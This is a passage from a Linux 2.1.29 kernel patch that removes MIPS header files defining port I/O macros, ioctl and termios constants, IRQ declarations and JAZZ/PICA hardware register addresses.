(addr)) - -#define writeb(b,addr) ((*(volatile unsigned char *) (addr)) = (b)) -#define writew(b,addr) ((*(volatile unsigned short *) (addr)) = (b)) -#define writel(b,addr) ((*(volatile unsigned int *) (addr)) = (b)) - -#define memset_io(a,b,c) memset((void *)(a),(b),(c)) -#define memcpy_fromio(a,b,c) memcpy((a),(void *)(b),(c)) -#define memcpy_toio(a,b,c) memcpy((void *)(a),(b),(c)) - -/* - * Again, MIPS does not require mem IO specific function. - */ - -#define eth_io_copy_and_sum(a,b,c,d) eth_copy_and_sum((a),(void *)(b),(c),(d)) - -/* - * Talk about misusing macros.. - */ - -#define __OUT1(s) \ -extern inline void __out##s(unsigned int value, unsigned int port) { - -#define __OUT2(m) \ -__asm__ __volatile__ ("s" #m "\t%0,%1(%2)" - -#define __OUT(m,s) \ -__OUT1(s) __OUT2(m) : : "r" (value), "i" (0), "r" (PORT_BASE+port)); } \ -__OUT1(s##c) __OUT2(m) : : "r" (value), "ir" (port), "r" (PORT_BASE)); } \ -__OUT1(s##_p) __OUT2(m) : : "r" (value), "i" (0), "r" (PORT_BASE+port)); \ - SLOW_DOWN_IO; } \ -__OUT1(s##c_p) __OUT2(m) : : "r" (value), "ir" (port), "r" (PORT_BASE)); \ - SLOW_DOWN_IO; } - -#define __IN1(t,s) \ -extern __inline__ t __in##s(unsigned int port) { t _v; - -/* - * Useless nops will be removed by the assembler - */ -#define __IN2(m) \ -__asm__ __volatile__ ("l" #m "u\t%0,%1(%2)\n\tnop" - -#define __IN(t,m,s) \ -__IN1(t,s) __IN2(m) : "=r" (_v) : "i" (0), "r" (PORT_BASE+port)); return _v; } \ -__IN1(t,s##c) __IN2(m) : "=r" (_v) : "ir" (port), "r" (PORT_BASE)); return _v; } \ -__IN1(t,s##_p) __IN2(m) : "=r" (_v) : "i" (0), "r" (PORT_BASE+port)); SLOW_DOWN_IO; return _v; } \ -__IN1(t,s##c_p) __IN2(m) : "=r" (_v) : "ir" (port), "r" (PORT_BASE)); SLOW_DOWN_IO; return _v; } - -#define __INS1(s) \ -extern inline void __ins##s(unsigned int port, void * addr, unsigned long count) { - -#define __INS2(m) \ -__asm__ __volatile__ ( \ - ".set\tnoreorder\n\t" \ - ".set\tnoat\n" \ - "1:\tl" #m "u\t$1,%4(%5)\n\t" \ - "subu\t%1,1\n\t" \ - "s" #m "\t$1,(%0)\n\t" \ - "bne\t$0,%1,1b\n\t" \ - "addiu\t%0,%6\n\t" \ - ".set\tat\n\t" \ - ".set\treorder" - -#define __INS(m,s,i) \ -__INS1(s) __INS2(m) \ - : "=r" (addr), "=r" (count) \ - : "0" (addr), "1" (count), "i" (0), "r" (PORT_BASE+port), "I" (i) \ - : "$1");} \ -__INS1(s##c) __INS2(m) \ - : "=r" (addr), "=r" (count) \ - : "0" (addr), "1" (count), "ir" (port), "r" (PORT_BASE), "I" (i) \ - : "$1");} - -#define __OUTS1(s) \ -extern inline void __outs##s(unsigned int port, const void * addr, unsigned long count) { - -#define __OUTS2(m) \ -__asm__ __volatile__ ( \ - ".set\tnoreorder\n\t" \ - ".set\tnoat\n" \ - "1:\tl" #m "u\t$1,(%0)\n\t" \ - "subu\t%1,%1,1\n\t" \ - "s" #m "\t$1,%4(%5)\n\t" \ - "bne\t$0,%1,1b\n\t" \ - "addiu\t%0,%0,%6\n\t" \ - ".set\tat\n\t" \ - ".set\treorder" - -#define __OUTS(m,s,i) \ -__OUTS1(s) __OUTS2(m) \ - : "=r" (addr), "=r" (count) \ - : "0" (addr), "1" (count), "i" (0), "r" (PORT_BASE+port), "I" (i) \ - : "$1");} \ -__OUTS1(s##c) __OUTS2(m) \ - : "=r" (addr), "=r" (count) \ - : "0" (addr), "1" (count), "ir" (port), "r" (PORT_BASE), "I" (i) \ - : "$1");} - -__IN(unsigned char,b,b) -__IN(unsigned short,h,w) -__IN(unsigned int,w,l) - -__OUT(b,b) -__OUT(h,w) -__OUT(w,l) - -__INS(b,b,1) -__INS(h,w,2) -__INS(w,l,4) - -__OUTS(b,b,1) -__OUTS(h,w,2) -__OUTS(w,l,4) - -/* - * Note that due to the way __builtin_constant_p() works, you - * - can't use it inside an inline function (it will never be true) - * - you don't have to worry about side effects within the __builtin.. - */ -#define outb(val,port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outbc((val),(port)) : \ - __outb((val),(port))) - -#define inb(port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inbc(port) : \ - __inb(port)) - -#define outb_p(val,port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outbc_p((val),(port)) : \ - __outb_p((val),(port))) - -#define inb_p(port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inbc_p(port) : \ - __inb_p(port)) - -#define outw(val,port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outwc((val),(port)) : \ - __outw((val),(port))) - -#define inw(port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inwc(port) : \ - __inw(port)) - -#define outw_p(val,port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outwc_p((val),(port)) : \ - __outw_p((val),(port))) - -#define inw_p(port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inwc_p(port) : \ - __inw_p(port)) - -#define outl(val,port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outlc((val),(port)) : \ - __outl((val),(port))) - -#define inl(port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inlc(port) : \ - __inl(port)) - -#define outl_p(val,port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outlc_p((val),(port)) : \ - __outl_p((val),(port))) - -#define inl_p(port) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inlc_p(port) : \ - __inl_p(port)) - - -#define outsb(port,addr,count) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outsbc((port),(addr),(count)) : \ - __outsb ((port),(addr),(count))) - -#define insb(port,addr,count) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __insbc((port),(addr),(count)) : \ - __insb((port),(addr),(count))) - -#define outsw(port,addr,count) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outswc((port),(addr),(count)) : \ - __outsw ((port),(addr),(count))) - -#define insw(port,addr,count) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inswc((port),(addr),(count)) : \ - __insw((port),(addr),(count))) - -#define outsl(port,addr,count) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __outslc((port),(addr),(count)) : \ - __outsl ((port),(addr),(count))) - -#define insl(port,addr,count) \ -((__builtin_constant_p((port)) && (port) < 32768) ? \ - __inslc((port),(addr),(count)) : \ - __insl((port),(addr),(count))) - -#endif /* __ASM_MIPS_IO_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/ioctl.h linux/include/asm-mips/ioctl.h --- linux-2.1.29/include/asm-mips/ioctl.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/ioctl.h Wed Dec 31 19:00:00 1969 @@ -1,81 +0,0 @@ -#ifndef __ASM_MIPS_IOCTL_H -#define __ASM_MIPS_IOCTL_H - -/* - * The original linux ioctl numbering scheme was just a general - * "anything goes" setup, where more or less random numbers were - * assigned. Sorry, I was clueless when I started out on this. - * - * On the alpha, we'll try to clean it up a bit, using a more sane - * ioctl numbering, and also trying to be compatible with OSF/1 in - * the process. I'd like to clean it up for the i386 as well, but - * it's so painful recognizing both the new and the old numbers.. - * - * The same applies for for the MIPS ABI; in fact even the macros - * from Linux/Alpha fit almost perfectly. - */ - -#define _IOC_NRBITS 8 -#define _IOC_TYPEBITS 8 -#define _IOC_SIZEBITS 13 -#define _IOC_DIRBITS 3 - -#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1) -#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1) -#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1) -#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1) - -#define _IOC_NRSHIFT 0 -#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS) -#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS) -#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS) - -/* - * We to additionally limit parameters to a maximum 255 bytes. - */ -#define _IOC_SLMASK 0xff - -/* - * Direction bits _IOC_NONE could be 0, but OSF/1 gives it a bit. - * And this turns out useful to catch old ioctl numbers in header - * files for us. - */ -#define _IOC_NONE 1U -#define _IOC_READ 2U -#define _IOC_WRITE 4U - -/* - * The following are included for compatibility - */ -#define _IOC_VOID 0x20000000 -#define _IOC_OUT 0x40000000 -#define _IOC_IN 0x80000000 -#define _IOC_INOUT (IOC_IN|IOC_OUT) - -#define _IOC(dir,type,nr,size) \ - (((dir) << _IOC_DIRSHIFT) | \ - ((type) << _IOC_TYPESHIFT) | \ - ((nr) << _IOC_NRSHIFT) | \ - (((size) & _IOC_SLMASK) << _IOC_SIZESHIFT)) - -/* used to create numbers */ -#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0) -#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),sizeof(size)) -#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),sizeof(size)) -#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),sizeof(size)) - -/* used to decode them.. */ -#define _IOC_DIR(nr) (((nr) >> _IOC_DIRSHIFT) & _IOC_DIRMASK) -#define _IOC_TYPE(nr) (((nr) >> _IOC_TYPESHIFT) & _IOC_TYPEMASK) -#define _IOC_NR(nr) (((nr) >> _IOC_NRSHIFT) & _IOC_NRMASK) -#define _IOC_SIZE(nr) (((nr) >> _IOC_SIZESHIFT) & _IOC_SIZEMASK) - -/* ...and for the drivers/sound files... */ - -#define IOC_IN (_IOC_WRITE << _IOC_DIRSHIFT) -#define IOC_OUT (_IOC_READ << _IOC_DIRSHIFT) -#define IOC_INOUT ((_IOC_WRITE|_IOC_READ) << _IOC_DIRSHIFT) -#define IOCSIZE_MASK (_IOC_SIZEMASK << _IOC_SIZESHIFT) -#define IOCSIZE_SHIFT (_IOC_SIZESHIFT) - -#endif /* __ASM_MIPS_IOCTL_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/ioctls.h linux/include/asm-mips/ioctls.h --- linux-2.1.29/include/asm-mips/ioctls.h Wed May 8 03:32:41 1996 +++ linux/include/asm-mips/ioctls.h Wed Dec 31 19:00:00 1969 @@ -1,300 +0,0 @@ -#ifndef __ASM_MIPS_IOCTLS_H -#define __ASM_MIPS_IOCTLS_H - -#include - -#define TCGETA 0x5401 -#define TCSETA 0x5402 -#define TCSETAW 0x5403 -#define TCSETAF 0x5404 - -#define TCSBRK 0x5405 -#define TCXONC 0x5406 -#define TCFLSH 0x5407 - -#define TCGETS 0x540d -#define TCSETS 0x540e -#define TCSETSW 0x540f -#define TCSETSF 0x5410 - -#define TIOCEXCL 0x740d /* set exclusive use of tty */ -#define TIOCNXCL 0x740e /* reset exclusive use of tty */ -#define TIOCOUTQ 0x7472 /* output queue size */ -#define TIOCSTI 0x5472 /* simulate terminal input */ -#define TIOCMGET 0x741d /* get all modem bits */ -#define TIOCMBIS 0x741b /* bis modem bits */ -#define TIOCMBIC 0x741c /* bic modem bits */ -#define TIOCMSET 0x741a /* set all modem bits */ -#define TIOCPKT 0x5470 /* pty: set/clear packet mode */ -#define TIOCPKT_DATA 0x00 /* data packet */ -#define TIOCPKT_FLUSHREAD 0x01 /* flush packet */ -#define TIOCPKT_FLUSHWRITE 0x02 /* flush packet */ -#define TIOCPKT_STOP 0x04 /* stop output */ -#define TIOCPKT_START 0x08 /* start output */ -#define TIOCPKT_NOSTOP 0x10 /* no more ^S, ^Q */ -#define TIOCPKT_DOSTOP 0x20 /* now do ^S ^Q */ -#if 0 -#define TIOCPKT_IOCTL 0x40 /* state change of pty driver */ -#endif -#define TIOCSWINSZ _IOW('t', 103, struct winsize) /* set window size */ -#define TIOCGWINSZ _IOR('t', 104, struct winsize) /* get window size */ -#define TIOCNOTTY 0x5471 /* void tty association */ -#define TIOCSETD 0x7401 -#define TIOCGETD 0x7400 - -#define FIOCLEX 0x6601 -#define FIONCLEX 0x6602 /* these numbers need to be adjusted. */ -#define FIOASYNC 0x667d -#define FIONBIO 0x667e - - /* 116-117 compat */ -#define TIOCSPGRP _IOW('t', 118, int) /* set pgrp of tty */ -#define TIOCGPGRP _IOR('t', 119, int) /* get pgrp of tty */ -#define TIOCCONS _IOW('t', 120, int) /* become virtual console */ - -#define FIONREAD 0x467f -#define TIOCINQ FIONREAD - -#if 0 -#define TIOCSETA _IOW('t', 20, struct termios) /* set termios struct */ -#define TIOCSETAW _IOW('t', 21, struct termios) /* drain output, set */ -#define TIOCSETAF _IOW('t', 22, struct termios) /* drn out, fls in, set */ -#define TIOCGETD _IOR('t', 26, int) /* get line discipline */ -#define TIOCSETD _IOW('t', 27, int) /* set line discipline */ - /* 127-124 compat */ -#endif - -/* I hope the range from 0x5480 on is free ... */ -#define TIOCSCTTY 0x5480 /* become controlling tty */ -#define TIOCGSOFTCAR 0x5481 -#define TIOCSSOFTCAR 0x5482 -#define TIOCLINUX 0x5483 -#define TIOCGSERIAL 0x5484 -#define TIOCSSERIAL 0x5485 - -#define TCSBRKP 0x5486 /* Needed for POSIX tcsendbreak() */ -#define TIOCTTYGSTRUCT 0x5487 /* For debugging only */ - -#define TIOCSERCONFIG 0x5488 -#define TIOCSERGWILD 0x5489 -#define TIOCSERSWILD 0x548a -#define TIOCGLCKTRMIOS 0x548b -#define TIOCSLCKTRMIOS 0x548c -#define TIOCSERGSTRUCT 0x548d /* For debugging only */ -#define TIOCSERGETLSR 0x548e /* Get line status register */ -#define TIOCSERGETMULTI 0x548f /* Get multiport config */ -#define TIOCSERSETMULTI 0x5490 /* Set multiport config */ - -/* ----------------------------------------------------------------------- */ - -/* c_cc characters */ -#define VINTR 0 /* Interrupt character [ISIG]. */ -#define VQUIT 1 /* Quit character [ISIG]. */ -#define VERASE 2 /* Erase character [ICANON]. */ -#define VKILL 3 /* Kill-line character [ICANON]. */ -#define VEOF 4 /* End-of-file character [ICANON]. */ -#define VMIN VEOF /* Minimum number of bytes read at once [!ICANON]. */ -#define VEOL 5 /* End-of-line character [ICANON]. */ -#define VTIME VEOL /* Time-out value (tenths of a second) [!ICANON]. */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define VEOL2 6 /* Second EOL character [ICANON]. */ -/* The next two are guesses ... */ -#define VSWTC 7 /* ??? */ -#endif -#define VSWTCH VSWTC -#define VSTART 8 /* Start (X-ON) character [IXON, IXOFF]. */ -#define VSTOP 9 /* Stop (X-OFF) character [IXON, IXOFF]. */ -#define VSUSP 10 /* Suspend character [ISIG]. */ -#if 0 -/* - * VDSUSP is not supported - */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define VDSUSP 11 /* Delayed suspend character [ISIG]. */ -#endif -#endif -#if defined (__USE_BSD) || defined (__KERNEL__) -#define VREPRINT 12 /* Reprint-line character [ICANON]. */ -#endif -#if defined (__USE_BSD) || defined (__KERNEL__) -#define VDISCARD 13 /* Discard character [IEXTEN]. */ -#define VWERASE 14 /* Word-erase character [ICANON]. */ -#define VLNEXT 15 /* Literal-next character [IEXTEN]. */ -#endif -/* - * 17 - 19 are reserved - */ - -#ifdef __KERNEL__ -/* - * intr=^C quit=^| erase=del kill=^U - * eof=^D eol=time=\0 eol2=\0 swtc=\0 - * start=^Q stop=^S susp=^Z vdsusp= - * reprint=^R discard=^U werase=^W lnext=^V - */ -#define INIT_C_CC "\003\034\177\025\004\0\0\0\021\023\032\0\022\017\027\026" -#endif - -/* c_iflag bits */ -#define IGNBRK 0000001 /* Ignore break condition. */ -#define BRKINT 0000002 /* Signal interrupt on break. */ -#define IGNPAR 0000004 /* Ignore characters with parity errors. */ -#define PARMRK 0000010 /* Mark parity and framing errors. */ -#define INPCK 0000020 /* Enable input parity check. */ -#define ISTRIP 0000040 /* Strip 8th bit off characters. */ -#define INLCR 0000100 /* Map NL to CR on input. */ -#define IGNCR 0000200 /* Ignore CR. */ -#define ICRNL 0000400 /* Map CR to NL on input. */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define IUCLC 0001000 /* Map upper case to lower case on input. */ -#endif -#define IXON 0002000 /* Enable start/stop output control. */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define IXANY 0004000 /* Any character will restart after stop. */ -#endif -#define IXOFF 0010000 /* Enable start/stop input control. */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define IMAXBEL 0020000 /* Ring bell when input queue is full. */ -#endif - -/* c_oflag bits */ -#define OPOST 0000001 /* Perform output processing. */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define OLCUC 0000002 /* Map lower case to upper case on output. */ -#define ONLCR 0000004 /* Map NL to CR-NL on output. */ -#define OCRNL 0000010 -#define ONOCR 0000020 -#define ONLRET 0000040 -#define OFILL 0000100 -#define OFDEL 0000200 -#define NLDLY 0000400 -#define NL0 0000000 -#define NL1 0000400 -#define CRDLY 0003000 -#define CR0 0000000 -#define CR1 0001000 -#define CR2 0002000 -#define CR3 0003000 -#define TABDLY 0014000 -#define TAB0 0000000 -#define TAB1 0004000 -#define TAB2 0010000 -#define TAB3 0014000 -#define XTABS 0014000 -#define BSDLY 0020000 -#define BS0 0000000 -#define BS1 0020000 -#define VTDLY 0040000 -#define VT0 0000000 -#define VT1 0040000 -#define FFDLY 0100000 -#define FF0 0000000 -#define FF1 0100000 -/* -#define PAGEOUT ??? -#define WRAP ??? - */ -#endif - -/* c_cflag bit meaning */ -#define CBAUD 0010017 -#define B0 0000000 /* hang up */ -#define B50 0000001 -#define B75 0000002 -#define B110 0000003 -#define B134 0000004 -#define B150 0000005 -#define B200 0000006 -#define B300 0000007 -#define B600 0000010 -#define B1200 0000011 -#define B1800 0000012 -#define B2400 0000013 -#define B4800 0000014 -#define B9600 0000015 -#define B19200 0000016 -#define B38400 0000017 -#define EXTA B19200 -#define EXTB B38400 -#define CSIZE 0000060 /* Number of bits per byte (mask). */ -#define CS5 0000000 /* 5 bits per byte. */ -#define CS6 0000020 /* 6 bits per byte. */ -#define CS7 0000040 /* 7 bits per byte. */ -#define CS8 0000060 /* 8 bits per byte. */ -#define CSTOPB 0000100 /* Two stop bits instead of one. */ -#define CREAD 0000200 /* Enable receiver. */ -#define PARENB 0000400 /* Parity enable. */ -#define PARODD 0001000 /* Odd parity instead of even. */ -#define HUPCL 0002000 /* Hang up on last close. */ -#define CLOCAL 0004000 /* Ignore modem status lines. */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define CBAUDEX 0010000 -#define B57600 0010001 -#define B115200 0010002 -#define B230400 0010003 -#define B460800 0010004 -#define CIBAUD 002003600000 /* input baud rate (not used) */ -#define CRTSCTS 020000000000 /* flow control */ -#endif - -/* c_lflag bits */ -#define ISIG 0000001 /* Enable signals. */ -#define ICANON 0000002 /* Do erase and kill processing. */ -#define XCASE 0000004 -#define ECHO 0000010 /* Enable echo. */ -#define ECHOE 0000020 /* Visual erase for ERASE. */ -#define ECHOK 0000040 /* Echo NL after KILL. */ -#define ECHONL 0000100 /* Echo NL even if ECHO is off. */ -#define NOFLSH 0000200 /* Disable flush after interrupt. */ -#define IEXTEN 0000400 /* Enable DISCARD and LNEXT. */ -#if defined (__USE_BSD) || defined (__KERNEL__) -#define ECHOCTL 0001000 /* Echo control characters as ^X. */ -#define ECHOPRT 0002000 /* Hardcopy visual erase. */ -#define ECHOKE 0004000 /* Visual erase for KILL. */ -#endif -#define FLUSHO 0020000 -#if defined (__USE_BSD) || defined (__KERNEL__) -#define PENDIN 0040000 /* Retype pending input (state). */ -#endif -#define TOSTOP 0100000 /* Send SIGTTOU for background output. */ -#define ITOSTOP TOSTOP - -/* modem lines */ -#define TIOCM_LE 0x001 /* line enable */ -#define TIOCM_DTR 0x002 /* data terminal ready */ -#define TIOCM_RTS 0x004 /* request to send */ -#define TIOCM_ST 0x010 /* secondary transmit */ -#define TIOCM_SR 0x020 /* secondary receive */ -#define TIOCM_CTS 0x040 /* clear to send */ -#define TIOCM_CAR 0x100 /* carrier detect */ -#define TIOCM_CD TIOCM_CAR -#define TIOCM_RNG 0x200 /* ring */ -#define TIOCM_RI TIOCM_RNG -#define TIOCM_DSR 0x400 /* data set ready */ - -/* ioctl (fd, TIOCSERGETLSR, &result) where result may be as below */ -#define TIOCSER_TEMT 0x01 /* Transmitter physically empty */ - -/* tcflow() and TCXONC use these */ -#define TCOOFF 0 /* Suspend output. */ -#define TCOON 1 /* Restart suspended output. */ -#define TCIOFF 2 /* Send a STOP character. */ -#define TCION 3 /* Send a START character. */ - -/* tcflush() and TCFLSH use these */ -#define TCIFLUSH 0 /* Discard data received but not yet read. */ -#define TCOFLUSH 1 /* Discard data written but not yet sent. */ -#define TCIOFLUSH 2 /* Discard all pending data. */ - -/* tcsetattr uses these */ -#define TCSANOW TCSETS /* Change immediately. */ -#define TCSADRAIN TCSETSW /* Change when pending output is written. */ -#define TCSAFLUSH TCSETSF /* Flush pending input before changing. */ - -/* line disciplines */ -#define N_TTY 0 -#define N_SLIP 1 -#define N_MOUSE 2 -#define N_PPP 3 - -#endif /* __ASM_MIPS_IOCTLS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/irq.h linux/include/asm-mips/irq.h --- linux-2.1.29/include/asm-mips/irq.h Wed Dec 13 05:39:46 1995 +++ linux/include/asm-mips/irq.h Wed Dec 31 19:00:00 1969 @@ -1,23 +0,0 @@ -/* - * include/asm-mips/irq.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994 by Waldorf GMBH - * written by Ralf Baechle - * - */ -#ifndef __ASM_MIPS_IRQ_H -#define __ASM_MIPS_IRQ_H - -/* - * Actually this is a lie but we hide the local device's interrupts ... - */ -#define NR_IRQS 16 - -extern void disable_irq(unsigned int); -extern void enable_irq(unsigned int); - -#endif /* __ASM_MIPS_IRQ_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/jazz.h linux/include/asm-mips/jazz.h --- linux-2.1.29/include/asm-mips/jazz.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/jazz.h Wed Dec 31 19:00:00 1969 @@ -1,310 +0,0 @@ -/* - * Hardware info about Mips JAZZ and similar systems - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Andreas Busse and Ralf Baechle - * - * This file is a mess. It really needs some reorganisation! - */ - -#ifndef __ASM_MIPS_JAZZ_H -#define __ASM_MIPS_JAZZ_H - -/* - * The addresses below are virtual address. The mappings are - * created on startup via wired entries in the tlb. The Mips - * Magnum R3000 and R4000 machines are similar in many aspects, - * but many hardware register are accessible at 0xb9000000 in - * instead of 0xe0000000. - */ - -#define JAZZ_LOCAL_IO_SPACE 0xe0000000 - -/* - * Revision numbers in PICA_ASIC_REVISION - * - * 0xf0000000 - Rev1 - * 0xf0000001 - Rev2 - * 0xf0000002 - Rev3 - */ -#define PICA_ASIC_REVISION 0xe0000008 - -/* - * The segments of the seven segment LED are mapped - * to the control bits as follows: - * - * (7) - * --------- - * | | - * (2) | | (6) - * | (1) | - * --------- - * | | - * (3) | | (5) - * | (4) | - * --------- . (0) - */ -#define PICA_LED 0xe000f000 - -/* - * Some characters for the LED control registers - * The original Mips machines seem to have a LED display - * with integrated decoder while the Acer machines can - * control each of the seven segments and the dot independently. - * It's only a toy, anyway... - */ -#define LED_DOT 0x01 -#define LED_SPACE 0x00 -#define LED_0 0xfc -#define LED_1 0x60 -#define LED_2 0xda -#define LED_3 0xf2 -#define LED_4 0x66 -#define LED_5 0xb6 -#define LED_6 0xbe -#define LED_7 0xe0 -#define LED_8 0xfe -#define LED_9 0xf6 -#define LED_A 0xee -#define LED_b 0x3e -#define LED_C 0x9c -#define LED_d 0x7a -#define LED_E 0x9e -#define LED_F 0x8e - -#ifndef __LANGUAGE_ASSEMBLY__ - -extern __inline__ void pica_set_led(unsigned int bits) -{ - volatile unsigned int *led_register = (unsigned int *) PICA_LED; - - *led_register = bits; -} - -#endif - -/* - * i8042 keyboard controller for JAZZ and PICA chipsets. - * This address is just a guess and seems to differ from - * other mips machines such as RC3xxx... - */ -#define JAZZ_KEYBOARD_ADDRESS 0xe0005000 -#define JAZZ_KEYBOARD_DATA 0xe0005000 -#define JAZZ_KEYBOARD_COMMAND 0xe0005001 - -#ifndef __LANGUAGE_ASSEMBLY__ - -typedef struct { - unsigned char data; - unsigned char command; -} jazz_keyboard_hardware; - -typedef struct { - unsigned char pad0[3]; - unsigned char data; - unsigned char pad1[3]; - unsigned char command; -} mips_keyboard_hardware; - -/* - * For now. Needs to be changed for RC3xxx support. See below. - */ -#define keyboard_hardware jazz_keyboard_hardware - -#endif - -/* - * i8042 keyboard controller for most other Mips machines. - */ -#define MIPS_KEYBOARD_ADDRESS 0xb9005000 -#define MIPS_KEYBOARD_DATA 0xb9005003 -#define MIPS_KEYBOARD_COMMAND 0xb9005007 - -/* - * Serial and parallel ports (WD 16C552) on the Mips JAZZ - */ -#define JAZZ_SERIAL1_BASE (unsigned int)0xe0006000 -#define JAZZ_SERIAL2_BASE (unsigned int)0xe0007000 -#define JAZZ_PARALLEL_BASE (unsigned int)0xe0008000 - -/* - * Dummy Device Address. Used in jazzdma.c - */ -#define JAZZ_DUMMY_DEVICE 0xe000d000 - -/* - * JAZZ timer registers and interrupt no. - * Note that the hardware timer interrupt is actually on - * cpu level 6, but to keep compatibility with PC stuff - * it is remapped to vector 0. See arch/mips/kernel/entry.S. - */ -#define JAZZ_TIMER_INTERVAL 0xe0000228 -#define JAZZ_TIMER_REGISTER 0xe0000230 - -/* - * DRAM configuration register - */ -#ifndef __LANGUAGE_ASSEMBLY__ -#ifdef __MIPSEL__ -typedef struct { - unsigned int bank2 : 3; - unsigned int bank1 : 3; - unsigned int mem_bus_width : 1; - unsigned int reserved2 : 1; - unsigned int page_mode : 1; - unsigned int reserved1 : 23; -} dram_configuration; -#else /* defined (__MIPSEB__) */ -typedef struct { - unsigned int reserved1 : 23; - unsigned int page_mode : 1; - unsigned int reserved2 : 1; - unsigned int mem_bus_width : 1; - unsigned int bank1 : 3; - unsigned int bank2 : 3; -} dram_configuration; -#endif -#endif /* __LANGUAGE_ASSEMBLY__ */ - -#define PICA_DRAM_CONFIG 0xe00fffe0 - -/* - * JAZZ interrupt control registers - */ -#define JAZZ_IO_IRQ_SOURCE 0xe0100000 -#define JAZZ_IO_IRQ_ENABLE 0xe0100002 - -/* - * JAZZ interrupt enable bits - */ -#define JAZZ_IE_PARALLEL (1 << 0) -#define JAZZ_IE_FLOPPY (1 << 1) -#define JAZZ_IE_SOUND (1 << 2) -#define JAZZ_IE_VIDEO (1 << 3) -#define JAZZ_IE_ETHERNET (1 << 4) -#define JAZZ_IE_SCSI (1 << 5) -#define JAZZ_IE_KEYBOARD (1 << 6) -#define JAZZ_IE_MOUSE (1 << 7) -#define JAZZ_IE_SERIAL1 (1 << 8) -#define JAZZ_IE_SERIAL2 (1 << 9) - -/* - * JAZZ Interrupt Level definitions - */ -#define JAZZ_TIMER_IRQ 0 -#define JAZZ_KEYBOARD_IRQ 1 -#define JAZZ_ETHERNET_IRQ 2 /* 15 */ -#define JAZZ_SERIAL1_IRQ 3 -#define JAZZ_SERIAL2_IRQ 4 -#define JAZZ_PARALLEL_IRQ 5 -#define JAZZ_FLOPPY_IRQ 6 /* needs to be consistent with floppy driver! */ - - -/* - * JAZZ DMA Channels - * Note: Channels 4...7 are not used with respect to the Acer PICA-61 - * chipset which does not provide these DMA channels. - */ -#define JAZZ_SCSI_DMA 0 /* SCSI */ -#define JAZZ_FLOPPY_DMA 1 /* FLOPPY */ -#define JAZZ_AUDIOL_DMA 2 /* AUDIO L */ -#define JAZZ_AUDIOR_DMA 3 /* AUDIO R */ - -/* - * JAZZ R4030 MCT_ADR chip (DMA controller) - * Note: Virtual Addresses ! - */ -#define JAZZ_R4030_CONFIG 0xE0000000 /* R4030 config register */ -#define JAZZ_R4030_REVISION 0xE0000008 /* same as PICA_ASIC_REVISION */ -#define JAZZ_R4030_INV_ADDR 0xE0000010 /* Invalid Address register */ - -#define JAZZ_R4030_TRSTBL_BASE 0xE0000018 /* Translation Table Base */ -#define JAZZ_R4030_TRSTBL_LIM 0xE0000020 /* Translation Table Limit */ -#define JAZZ_R4030_TRSTBL_INV 0xE0000028 /* Translation Table Invalidate */ - -#define JAZZ_R4030_CACHE_MTNC 0xE0000030 /* Cache Maintenance */ -#define JAZZ_R4030_R_FAIL_ADDR 0xE0000038 /* Remote Failed Address */ -#define JAZZ_R4030_M_FAIL_ADDR 0xE0000040 /* Memory Failed Address */ - -#define JAZZ_R4030_CACHE_PTAG 0xE0000048 /* I/O Cache Physical Tag */ -#define JAZZ_R4030_CACHE_LTAG 0xE0000050 /* I/O Cache Logical Tag */ -#define JAZZ_R4030_CACHE_BMASK 0xE0000058 /* I/O Cache Byte Mask */ -#define JAZZ_R4030_CACHE_BWIN 0xE0000060 /* I/O Cache Buffer Window */ - -/* - * Remote Speed Registers. - * - * 0: free, 1: Ethernet, 2: SCSI, 3: Floppy, - * 4: RTC, 5: Kb./Mouse 6: serial 1, 7: serial 2, - * 8: parallel, 9: NVRAM, 10: CPU, 11: PROM, - * 12: reserved, 13: free, 14: 7seg LED, 15: ??? - */ -#define JAZZ_R4030_REM_SPEED 0xE0000070 /* 16 Remote Speed Registers */ - /* 0xE0000070,78,80... 